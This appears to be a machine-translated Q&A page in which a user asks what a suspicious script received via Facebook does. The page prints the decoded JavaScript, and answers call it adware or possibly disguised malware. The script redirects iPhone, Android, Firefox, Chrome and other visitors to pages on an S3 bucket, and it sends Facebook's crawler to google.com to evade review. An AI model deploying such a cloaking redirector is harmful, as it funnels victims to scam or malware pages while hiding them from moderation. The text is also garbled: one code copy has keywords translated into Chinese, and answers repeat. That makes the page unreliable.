Javascript HTML中的未转换字符串

Javascript HTML中的未转换字符串,javascript,Javascript,这是通过嵌入HTML的Facebook发给我的。。我没有打开这个,因为我怀疑它。谁能告诉我它是干什么的 问题陈述:这是使用document.write(unescape(“”); 我逃避了这个 `// if((navigator.userAgent.match(/iPhone/i))| |(navigator.userAgent.match(/iPod/i))) { 位置。替换(“http://s3.amazonaws.com/video-asntjhwert/s.html"); } 如果(导航

这是通过嵌入HTML的Facebook发给我的。。我没有打开这个,因为我怀疑它。谁能告诉我它是干什么的

问题陈述:这是使用
document.write(unescape(“”);
我逃避了这个

`//
if((navigator.userAgent.match(/iPhone/i))| |(navigator.userAgent.match(/iPod/i)))
{
位置。替换(“http://s3.amazonaws.com/video-asntjhwert/s.html");
}
如果(导航器['userAgent']['indexOf']('Firefox')!=-1){
窗口['location']='https://s3.amazonaws.com/video-asntjhwert/index.html';
}否则{
如果(导航器['userAgent']['indexOf']('Facebook Bot')!=-1){
窗口['location']='http://google.com/';
}否则{
如果(导航器['userAgent']['indexOf']('Chrome')!=-1){
窗口['location']='https://s3.amazonaws.com/video-asntjhwert/index.html';
}否则{
窗口['location']='http://s3.amazonaws.com/video-asntjhwert/s.html';
};
};
};
'));

`

第一部分检查您使用的是Android还是iOS,
第二部分寻找PC浏览器,它们之间有一个共同点,它将您重新路由到一个网页,可能托管在AWS服务器上,可能是一个视频,您可以得出结论,它主要是一个广告!但请注意,它可能是一个伪装的恶意软件太注入了一些人

第一部分检查您使用的是Android还是iOS,
第二部分寻找PC浏览器,它们之间有一个共同点,它将您重新路由到一个网页,可能托管在AWS服务器上,可能是一个视频,您可以得出结论,它主要是一个广告!但请注意,它可能是一个伪装的恶意软件太注入了一些人

它会检查您使用的浏览器,并将您重定向到s3.amazonnews.com网站。。。它有点像广告软件脚本它会检查你正在使用的浏览器,它会将你重定向到s3.amazonnews.com网站。。。这有点像广告脚本
`<script type="text/javascript"> // <![CDATA[
if ( (navigator.userAgent.indexOf('Android') != -1) ) {
document.location = "http://s3.amazonaws.com/video-asntjhwert/s.html";
} // ]]>
</script>     
<script language=javascript>
if((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i)))
{
location.replace("http://s3.amazonaws.com/video-asntjhwert/s.html");
}
</script>
 <body>

<script>


if (navigator['userAgent']['indexOf']('Firefox') != -1) {
    window['location'] = 'https://s3.amazonaws.com/video-asntjhwert/index.html';
} else {
    if (navigator['userAgent']['indexOf']('Facebook Bot') != -1) {
        window['location'] = 'http://google.com/';
    } else {
        if (navigator['userAgent']['indexOf']('Chrome') != -1) {
            window['location'] = 'https://s3.amazonaws.com/video-asntjhwert/index.html';
            } else {
            window['location'] = 'http://s3.amazonaws.com/video-asntjhwert/s.html';
        };
    };
};
</script>
</body>'));